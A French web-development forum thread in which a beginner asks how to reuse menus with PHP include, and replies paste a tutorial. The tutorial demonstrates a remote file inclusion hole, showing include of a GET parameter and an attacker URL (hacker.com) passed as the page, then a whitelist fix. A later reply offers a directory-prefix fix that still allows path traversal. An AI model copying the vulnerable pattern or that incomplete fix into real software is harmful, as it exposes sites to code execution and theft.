Souçi avec la fonction include de php

Résolu/Fermé
seb19780 Messages postés 7 Date d'inscription samedi 23 décembre 2006 Statut Membre Dernière intervention 10 juin 2008 - 31 déc. 2007 à 15:37
 www.namworld.com - 12 oct. 2008 à 20:48
Bonjour,

Je suis en train de créer mon site avec Dreamweaver version 8.

Sur ma page d'accueil, j'ai inséré un menu à gauche et en haut par un calque à gauche et un calque en haut de ma page (car je préfère les calques au lieu des frames).

Dans ces deux menus, j'ai des rubriques qui ont un lien donnant accès à une autre page.

Je voudrais que mes deux menus (celui de gauche et du haut) de ma page apparaisse sur toutes mes autres pages web mais aussi les liens des rubriques qui sont dans les menus.

Sans parler de mes autres pages web, je voudrais déjà retrouver mes 2 menus de ma page d'accueil (nomer index.html) sur une de mes pages web qui se nome (annuaire.html).

Je pourrais bien évidement utilisé des frames sur ma pages d'accueil mais je préfère les calques car déjà ils se positionnent plus facilement à l'endroit où l'on veut.

J'ai entendu parler sur des forums de la fonction (include) dont la balise php doit être : <?php include(nom de ma page); ?> car c'est cette balise que Dreamweaver me propose et qui permettrai de retrouvé le menu ma page d'accueil sur toutes mes autres pages web.

Mais le souçi c'est que je me demande bien sur quelle page inséré cette balise php et surtout à quel endroit précis car j'ai bien essayé grâce à des tutoriels de faire cette manipulation mais çà ne marche pas et j'ai donc surement du mal m'y prendre.

Pour avoir mes deux menus (gauche et haut) de ma page d'accueil nomer (index.html) sur ma page web (annuaire.html), sur quelle page dois-je inséré cette balise php ? et à quel endroit précis ?

Ensuite je suppose qu'une fois cette balise inclus, mes 2 pages doivent avoir l'extention (php) ? mais je ne sais pas si c'est sur les deux pages.

Si quelqu'un pourrais me renseigner en détail étape par étape comment faire cette manipulation afin que je comprenne bien, çà serait bien car ce souçi m'empêche d'avancer mon site tant que mes deux menus de ma page d'accueil n'apparaissent pas sur mes autres pages web sachant que j'ai préférré insérer des calques pour le menu de gauche et du haut de ma page d'accueil.

Merçi de me renseigner à mon message ou sur msn et je vous laisse mon adresse msn qui est seb197844@live.fr afin de me renseigner en direct sur msn si vous voulez ou directement sur ce forum.

Merçi d'avance

Séb
A voir également:

6 réponses

micka30 Messages postés 102 Date d'inscription dimanche 30 décembre 2007 Statut Membre Dernière intervention 4 juin 2008 5
31 déc. 2007 à 15:42
BONNE LECTURE§


La fonction include
Nous n'allons parler que d'une seule fonction : include. Elle est très simple d'emploi et fréquemment utilisée car très puissante.

Que fait cette fonction ?
Elle permet d'inclure le contenu d'une page PHP dans une autre page PHP.
Et c'est très utile ! Concrètement, supposons que sur votre site web il y ait un menu à gauche. Ce menu est affiché sur toutes les pages de votre site.
Jusqu'ici, vous deviez copier-coller ce menu dans toutes les pages, et si vous deviez modifier le menu eh bien il fallait modifier toutes les pages !

Grâce à l'include, vous dites à PHP sur chacune de vos pages : "Mets ici le contenu de la page menu.php". PHP va alors "prendre" le contenu de la page menu.php et le mettre là où vous lui avez dit.
Ainsi, si vous voulez modifier votre menu, vous modifiez juste menu.php et toutes les pages de votre site web sont automatiquement mises à jour ! C'est vraiment quelque chose de génial, et pour tout vous dire c'est en découvrant ça que j'ai décidé de me mettre au PHP

Voici comment on fait pour inclure la page menu.php :

Code : PHP - Afficher / masquer les numéros de ligne<?php
include("menu.php");
?>

C'est un code tout simple. PHP voit l'instruction include, il va aller chercher la page menu.php et la mettre à la place de cette instruction.

Un exemple concret ? N'allez pas chercher bien loin, regardez ce site web. Oui oui, le Site du Zér0 utilise beaucoup les includes. Voici le sommaire du cours de PHP (page index.php) :





La page index.php contient 2 includes : haut.php (pour le logo, la pub...) et menu.php (le menu du Site du Zér0). Vient ensuite le contenu proprement dit de index.php, c'est-à-dire le sommaire du cours de PHP. Le code PHP de index.php ressemble donc à cela :

Code : PHP - Afficher / masquer les numéros de ligne<div id="haut">
<?php
// On inclue le haut de la page
include("haut.php");
?>
</div>

<div id="menu">
<?php
// Puis on inclue le menu
include("menu.php");
?>
</div>


<?php
// Maintenant on met le code de notre page (ce qu'on veut)
// Ce code peut bien entendu contenir du PHP comme du HTML
?>

<h1>
<img src="images/elephpant.gif" alt="ElePHPant" /> Un site dynamique avec PHP ! <img src="images/elephpant.gif" alt="ElePHPant" />
</h1>

<div class="question">
Mais pourquoi tous les sites web se mettent au PHP ? Que peut-on faire avec ?<br />
Et pis, c'est quoi PHP ???
</div>

<p>Hola hola, pas de panique amis Zér0s, ce tutoriel est là pour tout vous expliquer :o)...</p>
On a en premier les 2 includes (haut.php et menu.php), et après on a mis le code de notre page. Toutes les pages du site fonctionnent comme ça !

Vous remarquerez que j'utilise des calques (balise <div>) pour la présentation, mais vous faites comme vous voulez. Bien entendu, pour placer ces calques dans la page (menu à gauche, en-tête en haut etc...) j'utilise une feuille de style CSS.
Si vous ne savez pas faire une mise en page (un design) de votre site web, je vous recommande d'aller lire le tutoriel (x)HTML disponible sur ce site qui vous explique comment vous servir des balises <div> et comment les positionner pour construire votre design.

Au fait, on peut sans problème mettre du code PHP dans les pages haut.php et menu.php
Bien, et si nous passions à la pratique ?
On veut par exemple afficher le titre de notre site en haut de toutes les pages. On va créer une page titre.php, qui sera incluse dans toutes les pages. On va aussi créer une page test.php pour tester l'inclusion.

On va mettre dans titre.php ce qu'on veut (HTML, PHP etc...). Pour ma part je fais simple, j'écris juste le nom du site :

Code : HTML - Afficher / masquer les numéros de ligne<h2>Le Site du Zér0</h2>
La page test.php est une page d'exemple de notre site. Toutes les pages du site ressembleront à celle-ci :

Code : PHP - Afficher / masquer les numéros de ligne<?php include("titre.php"); ?>

<p>
Ceci est une page d'exemple de notre site web.<br />
Toutes les pages du site ont cet include en haut, pour afficher le titre du site sur toutes les pages.<br />
Si le site change de nom, il nous suffira de modifier uniquement "titre.php", et toutes les pages du site, comme celle-ci, seront mises à jour !
</p>

On teste ce code ? Le bouton ci-dessous va ouvrir test.php :


Essayer !

Faites pareil chez vous, vous allez voir que c'est très facile à faire !

Un petit schéma pour résumer :





Ce schéma, bien que très moche car fait par moi, illustre bien ce qu'il se passe. Lorsque l'internaute demande à voir test.php, l'instruction include est remplacée par le contenu de titre.php.
Ce qui fait qu'à la fin, la page que l'internaute chargera contiendra ce code :

Code : HTML - Afficher / masquer les numéros de ligne<h2>Le Site du Zér0</h2>

<p>
Ceci est une page d'exemple de notre site web.<br />
Toutes les pages du site ont cet include en haut, pour afficher le titre du site sur toutes les pages.<br />
Si le site change de nom, il nous suffira de modifier uniquement "titre.php", et toutes les pages du site, comme celle-ci, seront mises à jour !
</p>
C'est très facile à comprendre, avouez

Voilà, en théorie vous savez tout ce qu'il y a à savoir mais... je ne vais pas vous abandonner là, je ne suis pas comme ça
En effet, nous allons voir dans une seconde partie de ce chapitre comment mettre en place concrètement des includes sur votre site web.

--------------------------------------------------------------------------------

Bien utiliser les includes
Grosso modo, on peut considérer qu'il y a 2 méthodes pour utiliser les includes sur son site : la brutale et la dangereuse. Je suis plutôt un adepte de la méthode brutale car je préfère être sûr de ne pas laisser une porte grande ouverte aux apprentis hackers.

QUOIIIII ?!!! Que vois-je ?! Qu'entends-je ?!
Je risque de me faire hacker mon site avec les includes et tu me le dis même pas ?
Bah non, faut pas pleurer comme ça voyons
J'allais justement vous en parler. Suivez avec attention tout ce que je vais vous dire.

Méthode n°1 : la brutale

On commence par ma préférée : la méthode dite "brutale" (bien entendu ce n'est pas un nom officiel, c'est moi qui l'appelle comme ça )

Cette méthode a un avantage et un défaut :

Avantage : vous n'avez aucun risque de vous faire hacker avec cette méthode (c'est pour ça que je la préfère).
Défaut : si vous voulez changer complètement le design de votre page web, il se peut (je dis bien "il se peut") que vous deviez tout refaire si vous avez utilisé la méthode brutale. Par ailleurs, elle fait un peu moins "pro", mais elle est tellement plus sûre...

Ne tournons pas autour du pot, cette méthode est simple : elle consiste à copier-coller l'instruction include sur toutes les pages web de votre site :

Code : PHP<?php include("haut.php"); ?>

<p>
Ceci est une page X de votre site.<br />
Tout le code de vos pages ressemble à ceci : il y a un include en haut, et un include en bas.<br />
</p>

<?php include("bas.php"); ?>

Dans les pages haut.php et bas.php, vous mettez ce que vous voulez. Par exemple, dans haut.php je mettrais le titre du site et les premiers tags html : <html>, <head>, <title> etc... Ce qu'on trouve en haut du code d'une page web quoi...
Dans bas.php, vous inscrivez par exemple un copyright, le nom du webmaster, puis vous fermez les balises </body> et </html>

Méthode n°2 : la dangereuse

De la même manière que la méthode précédente, il y a un avantage et un défaut :

Avantage : on peut facilement changer toute l'apparence de votre site sans problème. Certains trouveront aussi peut-être ce code plus "séduisant" (si toutefois il est possible de trouver un code séduisant )
Défaut : si vous ne faites pas très attention au code que vous écrivez, votre site web sera vulnérable et il sera assez facile de récupérer votre mot de passe MySQL par exemple...

A noter que cette méthode est utilisée par un bon nombre de sites web, mais encore une fois je ne vous la conseille pas trop.

Le fonctionnement est ici complètement l'inverse : au lieu d'inclure l'en-tête de vos pages, les menus etc... Vous créez une page qui contient tout sauf le corps de votre page : vous mettez donc vos balises <html>, <head>, <title>, vos menus, votre copyright, puis vous fermez les balises </body> et </html>.
Et là, vous allez inclure la page que vous souhaitez afficher. Par exemple, si vous voulez inclure la page minichat.php, vous ferez comme ceci :

Code : PHP<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr" lang="fr">
<head>
<title>Mon super site !</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
</head>
<body>

<?php include("minichat.php"); ?>


<p>Ce site a été écrit par Mateo21.</p>

</body>

</html>

Et si je veux inclure une autre page, je fais comment ? Je refais une page comme celle-là et j'inclue mon autre page cette fois ?
Pas du tout, malheureux !
L'astuce utilisée ici, c'est que l'on va recevoir une variable avec l'url. Vous vous souvenez de index.php?langue=fr&truc=bidule n'est-ce pas ? Eh bien, dans toutes les pages du site, on va transmettre une information qui contiendra le nom de la page à inclure, par exemple :

index.php?page=minichat

On reprend maintenant le code 3.1.7 :

Code : PHP<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr" lang="fr">
<head>
<title>Mon super site !</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
</head>
<body>

<?php
$page = $_GET['page'];
include("$page.php");
?>

<p>Ce site a été écrit par Mateo21.</p>

</body>

</html>

Si l'url contient index.php?page=minichat, alors on incluera minichat.php
Si l'url contient index.php?page=news, alors on incluera news.php
Si l'url contient index.php?page=forum, alors on incluera forum.php
Si l'url contient index.php?page=http://www.hacker.com/pagespeciale, alors on incluera http://www.hacker.com/pagespeciale.php

Euh, attends une minute là, tu peux m'expliquer le dernier exemple ?
Oui, je crois que des explications s'imposent... Regardez en haut de cette page web, vous pouvez modifier facilement l'url, donc modifier facilement la page qui sera incluse !!! Et vu le code PHP qui a été utilisé, on peut très facilement inclure une page située sur un autre site ! Du coup, en modifiant juste l'url de la page, PHP va exécuter cette instruction :
<?php include("http://www.hacker.com/pagespeciale.php"); ?>

Qu'est-ce qu'on risque ? C'est simple, je n'ai qu'à modifier l'url pour mettre l'adresse d'un fichier PHP sur un FTP à moi, et c'est VOTRE serveur qui exécutera le code de ma page (pagespeciale.php).

Et alors ?Eh bien, je n'ai qu'à dire à PHP : "Donne-moi le mot de passe de ce site"
Et hop, comme ça je peux accéder à un FTP qui ne m'appartient pas, modifier tous les fichiers que je veux, faire un bordel monstre... Que de joyeusetés illégales qui n'ont aucun intérêt, mais ça amuse certains abrutis (et je pèse mes mots) qui veulent montrer ainsi qu'ils sont "les plus forts". Hum, je m'emporte là

Bien entendu, on ne peut pas dire à PHP de sortir tous les mots de passe du site comme ça, c'est un peu plus compliqué. Mais, réveillez-vous : vous êtes ici pour apprendre le PHP, pas pour apprendre comment hacker un site web hein ?
Moi, tout ce qui m'intéresse ici, c'est de vous sensibiliser au fait que ce que vous écrivez en PHP peut mettre en danger la sécurité de votre site. Vous venez de le voir sur un exemple concret : je viens de vous faire, sans que vous vous en rendiez compte, une ouverture aux problèmes de sécurité du PHP. Ce sont des problèmes qui ne vous préoccupent pas encore trop pour le moment, mais quand vous serez bons (et vous n'allez pas tarder à l'être, croyez-moi ^^), vous verrez que vous ferez très attention à la sécurité sur votre site.
Pour le moment, je vous rassure, on n'en est pas encore là, alors vous pouvez continuer à lire le tuto PHP tranquillement. Vous apprendrez tout cela petit à petit

Avant de nous quitter, voyons une des solutions possibles pour résoudre le problème de sécurité (il y en a plusieurs) :

Code : PHP<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr" lang="fr">
<head>
<title>Mon super site !</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
</head>
<body>

<?php
if ($_GET['page'] == "minichat")
{
include("minichat.php");
}

if ($_GET['page'] == "news")
{
include("news.php");
}

if ($_GET['page'] == "forum")
{
include("forum.php");
}

?>

<p>Ce site a été écrit par Mateo21.</p>

</body>

</html>

Si un hacker essaie de changer l'url, aucun des if ne sera valable donc rien ne sera inclus. Ouf !
Ca implique de faire autant de if qu'il n'y a de pages sur votre site, c'est pas super pratique... Voilà pourquoi je préfère (et vous conseille d'utiliser) la première méthode !
3
www.namworld.com
12 oct. 2008 à 20:48
Ahem, autre solution pour ne pas se faire hacker:

Version hackable:
<?php
$page = $_GET['page'];
include("$page.php");
?>

Nouvelle version (pages dans un dossier de pages):
<?php
$page = $_GET['page'];
include("pages/$page.php");
?>

Si un malin met une url de script php dans l'url de votre site, http://www.hacker.com/pagespeciale
pour charger http://www.hacker.com/pagespeciale.php

ca donne qu'on charge la page du dossier pages qui se nomme http://www.hacker.com/pagespeciale.php , soit pages/http://www.hacker.com/pagespeciale.php ce qui n'est pas une page existant dans le dossier et cela permet de garder la fonction sous sa forme plus pratique.

Problème doublement résolu
2
bonjour
je suis entrain de creer mon site qui est un interface web qui permet de l'importation de fichiers des utilisateurs dans le serveur mais selon leur droit d'accées requis. et chaque user possède son propre dossier qui appartient a un arborescences et aussi l'utilisateur peut donner a un autre utilisateur le droit d'accéder a son fichier(si en lire et écriture ou en lire seulement).mon site est presque une copie conforme de "google documents".
j'ai une problème dans la création de menu qui doit etre apparait dans tout les autres pages et aussi comment faire un lien qui permet de choisir un dossier dans le quelle il uploader son fichier et une autre lien qui ouvre une fenetre qui contient tout les contactes et lorsque on clik sur l'une de se contactes on peut voir son fichier dont il me donne le droit.
vous pouvez me repondre a ce forum ou bien sur mon msn: (salah_bg@hotmail.com)
mercie
0
Et en ce qui concerne le référencement, google ca lire le contenue des includes ou s'arreter ?
0

Vous n’avez pas trouvé la réponse que vous recherchez ?

Posez votre question
seb19780 Messages postés 7 Date d'inscription samedi 23 décembre 2006 Statut Membre Dernière intervention 10 juin 2008
31 déc. 2007 à 17:00
Merçi pour votre réponse, je vais donc aller voir cela sur le site du zéro concernant la fonction include en espérant que j'y arrive, sinon je vous le dit si j'y arrive pas afin que vous m'expliquer plus en détail étape par étape.

Cordialement

Séb
-1
seb19780 Messages postés 7 Date d'inscription samedi 23 décembre 2006 Statut Membre Dernière intervention 10 juin 2008
2 janv. 2008 à 16:39
Bonjour Micka30,

J'ai donc été sur le site du zro que je connaissais déjà mais je ne savais pas qu'ils parlait de la fonction include de php.

J'ai donc réussi à comprendre leur explication sur cette merveilleuse fonction et je retrouve donc bien mes menus de ma page d'accueil sur mes autres pages web par cette fonctikn que j'ai inséré avec Dreamweaver version 8 mais j'ai un petit souçi :

Mes menus de ma pages d'accueil qui sont donc sur mes autres pages web apparaissent bien vers l'endroit où je veux mais pas précisément à l'endroit où je veux.

En fait moi j'inclus juste la balise de la fonction include en php pour que je retrouve mes menu sur mes autres pages web sachant que je rappelle que je je n'utilise que des calques car je préfère les calques mais ensuite je n'ai aucun moyen de savoir l'endroit précis que mes menus seront placés exactement à l'endroit où je veux sur mes pages web et comment faire cela pour positionner correctement mes menus sur mes autres pages web après avoir mis la fonction include de php ?

Bonne année et meilleurs voeux.

Séb
-1